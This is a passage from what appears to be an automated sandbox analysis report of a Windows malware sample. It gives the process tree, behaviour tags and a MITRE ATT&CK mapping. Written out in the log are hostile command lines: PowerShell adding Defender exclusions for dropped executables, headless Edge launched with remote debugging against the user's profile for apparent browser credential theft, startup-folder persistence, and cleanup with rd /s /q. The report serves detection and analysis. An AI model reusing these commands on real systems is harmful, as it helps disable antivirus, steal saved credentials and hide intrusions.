        8⤵
        
        PID:4280
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2160,i,1995541447622613125,5571624305880041907,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5116 /prefetch:8
        8⤵
        
        PID:3236
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2160,i,1995541447622613125,5571624305880041907,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5416 /prefetch:8
        8⤵
        
        PID:452
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2160,i,1995541447622613125,5571624305880041907,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5436 /prefetch:8
        8⤵
        
        PID:1932
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c timeout /t 3 /nobreak & rd /s /q "C:\Users\Admin\AppData\Local\Temp\1RN7pIVm2wMZ"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4332
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 3 /nobreak
        7⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:1252
- - C:\Users\Admin\AppData\Local\Temp\Installer.exe
    "C:\Users\Admin\AppData\Local\Temp\Installer.exe"
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:3344
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Installer.exe"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:1812
  - - C:\Users\Admin\AppData\Local\Temp\Installer.exe
      "C:\Users\Admin\AppData\Local\Temp\Installer.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3464
    - - C:\Users\Admin\AppData\Local\Temp\gBjQTrj\vshost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\\gBjQTrj\vshost.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:2304
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\gBjQTrj\vshost.exe"
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:1632
      - C:\Users\Admin\AppData\Local\Temp\gBjQTrj\vshost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\gBjQTrj\vshost.exe"
        6⤵
        Executes dropped EXE
        
        PID:2820
      - C:\Users\Admin\AppData\Local\Temp\gBjQTrj\vshost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\gBjQTrj\vshost.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2164
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9222 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --profile-directory="Default" --headless --disable-gpu
        7⤵
        Uses browser remote debugging
        
        PID:4000
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9222 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --profile-directory=Default --headless --disable-gpu --edge-skip-compat-layer-relaunch
        8⤵
        Uses browser remote debugging
        Enumerates system info in registry
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        
        PID:3676
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x230,0x234,0x238,0x22c,0x2e8,0x7ffd9d7fc188,0x7ffd9d7fc194,0x7ffd9d7fc1a0
        9⤵
        
        PID:3520
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2204,i,3768865375650319197,10640874270292571802,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2232 /prefetch:3
        9⤵
        System Time Discovery
        
        PID:2448
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2204,i,3768865375650319197,10640874270292571802,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2200 /prefetch:2
        9⤵
        
        PID:3064
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2204,i,3768865375650319197,10640874270292571802,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2452 /prefetch:8
        9⤵
        
        PID:3260
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2204,i,3768865375650319197,10640874270292571802,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3432 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:4128
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2204,i,3768865375650319197,10640874270292571802,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3396 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:1660
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=2204,i,3768865375650319197,10640874270292571802,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4456 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:2468
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=2204,i,3768865375650319197,10640874270292571802,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4460 /prefetch:2
        9⤵
        Uses browser remote debugging
        
        PID:1092
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2204,i,3768865375650319197,10640874270292571802,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3452 /prefetch:8
        9⤵
        
        PID:4504
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2204,i,3768865375650319197,10640874270292571802,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3652 /prefetch:8
        9⤵
        
        PID:4812
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2204,i,3768865375650319197,10640874270292571802,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5124 /prefetch:8
        9⤵
        
        PID:2208
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c timeout /t 3 /nobreak & rd /s /q "C:\Users\Admin\AppData\Local\Temp\gBjQTrj"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3284
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 3 /nobreak
        8⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:3488
- - C:\Users\Admin\AppData\Local\Temp\register.exe
    "C:\Users\Admin\AppData\Local\Temp\register.exe"
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:2000
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\register.exe"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:1248
  - - C:\Users\Admin\AppData\Local\Temp\register.exe
      "C:\Users\Admin\AppData\Local\Temp\register.exe"
      4⤵
      Downloads MZ/PE file
      Drops startup file
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4788
    - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update1.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update1.exe"
        5⤵
        Executes dropped EXE
        
        PID:5048
      - C:\Users\Admin\AppData\Roaming\2TDIDZEU\svchost.exe
        
        "C:\Users\Admin\AppData\Roaming\2TDIDZEU\svchost.exe"
        6⤵
        Executes dropped EXE
        
        PID:2344
    - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update2.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update2.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4832
- - C:\Users\Admin\AppData\Local\Temp\Setup.exe
    "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:5068
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      PID:3492
  - - C:\Users\Admin\AppData\Local\Temp\Setup.exe
      "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
      4⤵
      Executes dropped EXE
      PID:2388
  - - C:\Users\Admin\AppData\Local\Temp\Setup.exe
      "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4648
    - - C:\Users\Admin\AppData\Roaming\ImxYLFOzY0Ij\svchost.exe
        
        "C:\Users\Admin\AppData\Roaming\ImxYLFOzY0Ij\svchost.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:3300
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\ImxYLFOzY0Ij\svchost.exe"
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:2772
      - C:\Users\Admin\AppData\Roaming\ImxYLFOzY0Ij\svchost.exe
        
        "C:\Users\Admin\AppData\Roaming\ImxYLFOzY0Ij\svchost.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4840
- C:\Windows\system32\timeout.exe
  timeout /t 8
  2⤵
  - Delays execution with timeout.exe
  PID:3704

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe
1⤵
- Executes dropped EXE
PID:3460

C:\Users\Admin\AppData\Roaming\2TDIDZEU\svchost.exe
C:\Users\Admin\AppData\Roaming\2TDIDZEU\svchost.exe
1⤵
- Executes dropped EXE
PID:4980

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4804

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4872

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:2924

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:4188

C:\Users\Admin\AppData\Roaming\ImxYLFOzY0Ij\svchost.exe
C:\Users\Admin\AppData\Roaming\ImxYLFOzY0Ij\svchost.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
PID:3492
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\ImxYLFOzY0Ij\svchost.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  PID:4844
- C:\Users\Admin\AppData\Roaming\ImxYLFOzY0Ij\svchost.exe
  "C:\Users\Admin\AppData\Roaming\ImxYLFOzY0Ij\svchost.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:396

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2992

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Modify Authentication Process

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

Modify Authentication Process

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process